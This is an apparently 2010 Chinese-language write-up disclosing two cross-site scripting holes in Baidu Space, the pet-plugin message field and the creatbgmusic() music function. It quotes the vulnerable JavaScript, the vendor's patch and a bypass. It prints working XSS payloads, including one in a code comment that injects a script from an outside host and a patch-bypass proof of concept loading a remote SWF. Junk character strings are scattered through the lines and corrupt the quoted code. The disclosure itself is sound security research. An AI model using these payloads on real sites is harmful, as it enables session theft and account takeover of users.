百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
7 @8 `9 U% B0 i! Y. Z
[7 r0 Q7 }: i/ o6 K7 q/ d1 m0 y1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
& N3 n+ z' h/ m& Y, D2 I- O2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
) i7 X/ o0 n9 _3 V. D, U" X
* Q/ W, c* M9 G1 c2 T5 c将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 8 A( W% q5 l* ~# U" E; R- V
其中BdUtil.insertWBR为
7 X+ \% E9 P4 e+ @function(text, step) {
2 D* u( L4 Y) \' w+ R var textarea = textAreaCache || getContainer();
& K4 D, e: ?$ m if (!textarea) { 8 [/ V, `* h& T( a) ]1 H
return text;
/ l, L& n, J! c; |# i) ~! {8 P } 9 h! l* `7 G5 K5 D: Y. s+ X6 A {
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); + g) l& }6 w3 x8 X: Z
var string = textarea.value;
& o9 L# x6 g e* k var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ) [( Y, d9 V' D
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 7 T( K' Q! {( t7 b( o' m
return result;
# k4 Q# E( P4 {: A5 x}
2 N) e8 K7 P' L在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
$ {( I! O- B* T测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 8 ` d( f) [7 m9 A6 w
) H7 n9 J- z, I" { _6 s1 h
二:creatbgmusic() Dom-Xss Bug
1 H* V+ i) N7 q }6 h百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 $ |7 U- A3 r* j* X% F. w4 t
, R4 g$ |! d" W$ d在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: , X, t. u' Q2 ?! q! g8 \
$ c* _% r, {: P4 y0 y
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
6 w& N8 A% _ P //传入的murl赋值到bgmusic1和bgmusic2中
" @2 e% P2 d, y; M6 O- n8 c //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 , i9 X" N/ L# w- G( `' ?
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
6 `% n& @/ b1 @! w: u& G6 H' H if (musicnum <= 1) { ; Z& R+ e) o* z, O) ^! @; h
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
7 G& E. m5 E) R8 h! Y. X }
0 N' M6 e. \! ?: A' u# I! O bgmusic1 += "</OBJECT>"; ! v3 A7 L* ~! B/ W
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 8 ?4 d) o& h; l' X9 V
if (musicnum <= 1) { 0 U' Q# d# p I6 {- C8 m
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 8 t3 d& O8 N) ]- g v. \( _" @$ D! b
}
! j) i* O( f) b bgmusic2 += "> </EMBED>"; $ P1 v( x1 y3 B0 ~4 e* Y, r# c& [
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; 2 A: r( h- g0 b& q8 J
var bgmus = detectWMP();
, O! U5 k1 o5 P3 N+ s if (functype == "FckMusicHelper") {
! z5 ?9 X: C4 @ if (bgmus.installed) {
9 n0 J7 W: d( w) @0 | if (bgmus.type == "IE") {
. C' Y( E' d _. h8 ]' r& ] return bgmusic1; # L$ Y% u9 @7 F6 N9 W( `" b
} else if (bgmus.type == "NS") { * }5 U6 ~' v8 ^3 b6 |* p( ]
return bgmusic2;
2 X7 r1 e, ]1 X; O3 Y$ ]( p }
( A. T* a, \- X! E } else {
4 d# A6 p! E! ~; D return bgmusic3;
' ^, B* M, A) H1 e6 S } 2 n( H' m5 W8 V: D* [- U* z7 R
} else { , ?2 `2 @: V' d0 Z7 J
if (bgmus.installed) {
/ U! r) _! T- K //document.write 直接输出bgmusic变量 导致xss - S4 J9 v# N, w, z
if (bgmus.type == "IE") {
: ?* z/ ?; r! @( h document.write(bgmusic1);
@0 Y e( h" P- \ } else if (bgmus.type == "NS") {
' { g9 a/ j' w' h" i! T document.write(bgmusic2);
6 J. t4 g, x$ s, W+ n }
6 x5 n y: U6 u {$ y: |' t6 y } else { ; [) ^% C& _" ?# E- v2 T) l
document.write(bgmusic3); 6 g' z/ D: ~" V7 G. z( {9 j8 a, {8 E ]
}
3 a6 p$ A" D- {& S return ""; , b8 T0 a `' ? n9 C# ^
}
! Q' s8 C9 a0 e}
, s% a, d9 S& I7 K2 i5 x/ B7 C7 T( C, u: _- _# N) S3 h
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: : i! x" `9 r6 P: i6 Z
. x7 m" W9 V0 j! e
function initBlogTextForFCK(){
8 u9 W+ \0 f: t2 f//fck init music 9 F# y4 k9 }6 s: r
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} & |1 s8 [; f2 e) `
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 9 J3 C) I; ^0 Q2 y& I$ N7 S, W |
var isAutoPlay=true;
# g, O& ~ Z7 D5 z, [+ v8 y) Wfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
9 o% I9 s, _; m) ~ var img=imgBox;
6 Q+ O- e+ m5 H. @ if(img.getAttribute(’rel’)){ - S+ }- T% o" \ x
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
" v( O; F. L. A1 d2 B& B8 r var musicDiv = document.createElement("SPAN");
( A: A: s: N! ]- N3 a var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] * V% [8 D# r- }9 y) [3 O
h, `* ^! [$ C( ]; w4 v: z& O1 D .......................... 2 s2 }1 v" q$ t8 X3 K4 F# f
0 M: i. `- a, I! k
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
8 p' U# ]; c: H& ?, h var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); : U5 s* z& _/ p# m& D* @1 s" G, ^
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 4 z9 m" {0 }1 L* e7 _& J
musicDiv.innerHTML=shtml; 0 T* C" [' ?/ p; d0 o$ {
i--;n--;
( q/ H$ f# j- a# V }
6 k! A/ T. b) t. C' T} # w1 s( R+ `8 N
% | d% A( q+ ~1 F6 U6 ^1 `从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
5 i3 l3 h5 v; Y4 {3 h" Z. h7 C' O; ? / t, ]8 H0 L$ L j% y
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
$ Y% v# m7 v9 ^# N: d. t
7 `$ p$ E2 r! J. i6 U等待官方补丁
5 B6 q0 T$ S; m0 X4 l- R' Q' h
update 2010年5月13日
- g7 p2 F8 c; P/ w9 }% U3 X
# P) S" |& n/ w& w2 b) b( I7 f& H官方补丁: M$ I. T' S2 t( D& g: C5 ~, [
5 s+ `- p) N2 C* u6 m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
- T( r3 U! s/ l改为:
& I: q A1 h5 Ivar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
* y! _, M" E6 {' Y! T3 Q1 n' m
update 2010年5月13日 21:50:37 ! h4 ~/ Z$ O( x9 J* d) Q
9 o ^0 R0 M4 a补丁存在漏洞 没有过滤" 可以继续跨:
+ B% y6 {. ~ g) {4 U4 \/ ^: J+ t) w1 N8 X/ D
NEW POC:
3 Q L& f6 O) n/ e& Z8 i& Y8 \0 q- |- S- k3 J9 C
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
( S$ v4 h6 s5 z3 t3 a1 `4 V4 v1 z, ~( E. }
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>' k6 x9 ?: @/ \: }% S2 W
& I- u6 \6 _4 B3 b4 U |